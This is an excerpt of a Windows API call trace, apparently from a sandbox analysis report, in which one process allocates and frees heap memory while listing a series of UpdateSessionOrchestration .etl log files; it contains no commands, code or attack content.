RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0152.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2140 | out: hHeap=0x570000) returned 1 [0152.995] GetLastError () returned 0x0 [0152.995] SetLastError (dwErrCode=0x0) [0152.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6535e0 [0152.995] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1c505b8c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x58b60423, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0152.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0152.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0152.995] GetLastError () returned 0x0 [0152.995] SetLastError (dwErrCode=0x0) [0152.995] GetLastError () returned 0x0 [0152.995] SetLastError (dwErrCode=0x0) [0152.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d21c8 [0152.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0152.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0152.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d21c8 | out: hHeap=0x570000) returned 1 [0152.995] GetLastError () returned 0x0 [0152.995] SetLastError (dwErrCode=0x0) [0152.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6532e8 [0152.996] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdaf93ab4, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x87be9f6, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0152.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0152.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0152.996] GetLastError () returned 0x0 [0152.996] SetLastError (dwErrCode=0x0) [0152.996] GetLastError () returned 0x0 [0152.996] SetLastError (dwErrCode=0x0) [0152.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1a58 [0152.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0152.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1a58 | out: hHeap=0x570000) returned 1 [0152.996] GetLastError () returned 0x0 [0152.996] SetLastError (dwErrCode=0x0) [0152.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6531b8 [0152.996] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1977635c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1977635c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0152.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0152.996] GetLastError () returned 0x0 [0152.996] SetLastError (dwErrCode=0x0) [0152.996] GetLastError () returned 0x0 [0152.996] SetLastError (dwErrCode=0x0) [0152.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1fa8 [0152.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0152.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1fa8 | out: hHeap=0x570000) returned 1 [0152.996] GetLastError () returned 0x0 [0152.996] SetLastError (dwErrCode=0x0) [0152.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653250 [0152.997] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfc820227, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0x2521b8a4, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0152.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0152.997] GetLastError () returned 0x0 [0152.997] SetLastError (dwErrCode=0x0) [0152.997] GetLastError () returned 0x0 [0152.997] SetLastError (dwErrCode=0x0) [0152.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2250 [0152.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0152.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0152.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2250 | out: hHeap=0x570000) returned 1 [0152.997] GetLastError () returned 0x0 [0152.997] SetLastError (dwErrCode=0x0) [0152.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652d90 [0152.997] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfd9caf15, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfd9caf15, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UP9D42~1.ETL")) returned 1 [0152.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0152.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0152.997] GetLastError () returned 0x0 [0152.997] SetLastError (dwErrCode=0x0) [0152.997] GetLastError () returned 0x0 [0152.997] SetLastError (dwErrCode=0x0) [0152.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2470 [0152.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0152.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2470 | out: hHeap=0x570000) returned 1 [0152.997] GetLastError () returned 0x0 [0152.997] SetLastError (dwErrCode=0x0) [0152.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652f58 [0152.998] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda210f79, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xb10a27a8, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPB8BA~1.ETL")) returned 1 [0152.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0152.998] GetLastError () returned 0x0 [0152.998] SetLastError (dwErrCode=0x0) [0152.998] GetLastError () returned 0x0 [0152.998] SetLastError (dwErrCode=0x0) [0152.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2690 [0152.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0152.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0152.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2690 | out: hHeap=0x570000) returned 1 [0152.998] GetLastError () returned 0x0 [0152.998] SetLastError (dwErrCode=0x0) [0152.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652ec0 [0152.998] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe0798fd2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79d33ce, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPAC79~1.ETL")) returned 1 [0152.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0152.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0152.998] GetLastError () returned 0x0 [0152.998] SetLastError (dwErrCode=0x0) [0152.998] GetLastError () returned 0x0 [0152.998] SetLastError (dwErrCode=0x0) [0152.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d21c8 [0152.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0152.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d21c8 | out: hHeap=0x570000) returned 1 [0152.999] GetLastError () returned 0x0 [0152.999] SetLastError (dwErrCode=0x0) [0152.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653678 [0152.999] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7a24386, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x56762f51, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.019.etl", cAlternateFileName="UP1E42~1.ETL")) returned 1 [0152.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0152.999] GetLastError () returned 0x0 [0152.999] SetLastError (dwErrCode=0x0) [0152.999] GetLastError () returned 0x0 [0152.999] SetLastError (dwErrCode=0x0) [0152.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1838 [0152.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0152.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1838 | out: hHeap=0x570000) returned 1 [0152.999] GetLastError () returned 0x0 [0152.999] SetLastError (dwErrCode=0x0) [0152.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653120 [0152.999] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1fc4717b, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x46bc7f04, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.020.etl", cAlternateFileName="UP597C~1.ETL")) returned 1 [0152.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0152.999] GetLastError () returned 0x0 [0152.999] SetLastError (dwErrCode=0x0) [0152.999] GetLastError () returned 0x0 [0152.999] SetLastError (dwErrCode=0x0) [0152.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1ae0 [0153.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0153.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0153.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1ae0 | out: hHeap=0x570000) returned 1 [0153.000] GetLastError () returned 0x0 [0153.000] SetLastError (dwErrCode=0x0) [0153.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0153.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0153.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652b30 [0153.000] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x22cb9437, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x911dff9b, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.021.etl", cAlternateFileName="UP0CB7~1.ETL")) returned 1 [0153.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0153.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0153.000] GetLastError () returned 0x0 [0153.000] SetLastError (dwErrCode=0x0) [0153.000] GetLastError () returned 0x0 [0153.000] SetLastError (dwErrCode=0x0) [0153.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2030 [0153.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0153.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0153.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2030 | out: hHeap=0x570000) returned 1 [0153.000] GetLastError () returned 0x0 [0153.000] SetLastError (dwErrCode=0x0) [0153.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0153.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0153.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653710 [0153.000] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8f4581c2, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0xb62eafb0, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.022.etl", cAlternateFileName="UPBE04~1.ETL")) returned 1 [0153.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0153.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0153.000] GetLastError () returned 0x0 [0153.000] SetLastError (dwErrCode=0x0) [0153.001] GetLastError () returned 0x0 [0153.001] SetLastError (dwErrCode=0x0) [0153.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2690 [0153.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0153.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0153.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2690 | out: hHeap=0x570000) returned 1 [0153.001] GetLastError () returned 0x0 [0153.001] SetLastError (dwErrCode=0x0) [0153.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0153.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0153.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652e28 [0153.001] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f83b96b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x82808de1, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.023.etl", cAlternateFileName="UPA620~1.ETL")) returned 1 [0153.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0153.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0153.001] GetLastError () returned 0x0 [0153.001] SetLastError (dwErrCode=0x0) [0153.001] GetLastError () returned 0x0 [0153.001] SetLastError (dwErrCode=0x0) [0153.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1bf0 [0153.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0153.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0153.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1bf0 | out: hHeap=0x570000) returned 1 [0153.001] GetLastError () returned 0x0 [0153.001] SetLastError (dwErrCode=0x0) [0153.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0153.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0153.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652968 [0153.001] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcae2810e, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xf21e09d1, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.024.etl", cAlternateFileName="UP14AB~1.ETL")) returned 1 [0153.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0153.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0153.002] GetLastError () returned 0x0 [0153.002] SetLastError (dwErrCode=0x0) [0153.002] GetLastError () returned 0x0 [0153.002] SetLastError (dwErrCode=0x0) [0153.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d27a0 [0153.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0153.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0153.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d27a0 | out: hHeap=0x570000) returned 1 [0153.002] GetLastError () returned 0x0 [0153.002] SetLastError (dwErrCode=0x0) [0153.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0153.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0153.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652ff0 [0153.002] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcd491119, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x2e5f9ec7, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.025.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0153.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0153.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0153.002] GetLastError () returned 0x0 [0153.002] SetLastError (dwErrCode=0x0) [0153.002] GetLastError () returned 0x0 [0153.002] SetLastError (dwErrCode=0x0) [0153.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2690 [0153.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0153.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0153.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2690 | out: hHeap=0x570000) returned 1 [0153.002] GetLastError () returned 0x0 [0153.002] SetLastError (dwErrCode=0x0) [0153.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0153.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0153.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652a98 [0153.003] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb30910b4, ftLastAccessTime.dwHighDateTime=0x1d3278b, ftLastWriteTime.dwLowDateTime=0xe1a1828d, ftLastWriteTime.dwHighDateTime=0x1d3278b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.026.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0153.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0153.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0153.003] GetLastError () returned 0x0 [0153.003] SetLastError (dwErrCode=0x0) [0153.003] GetLastError () returned 0x0 [0153.003] SetLastError (dwErrCode=0x0) [0153.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1948 [0153.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0153.003] RtlAllocateHeap (HeapHandle=0x570000, 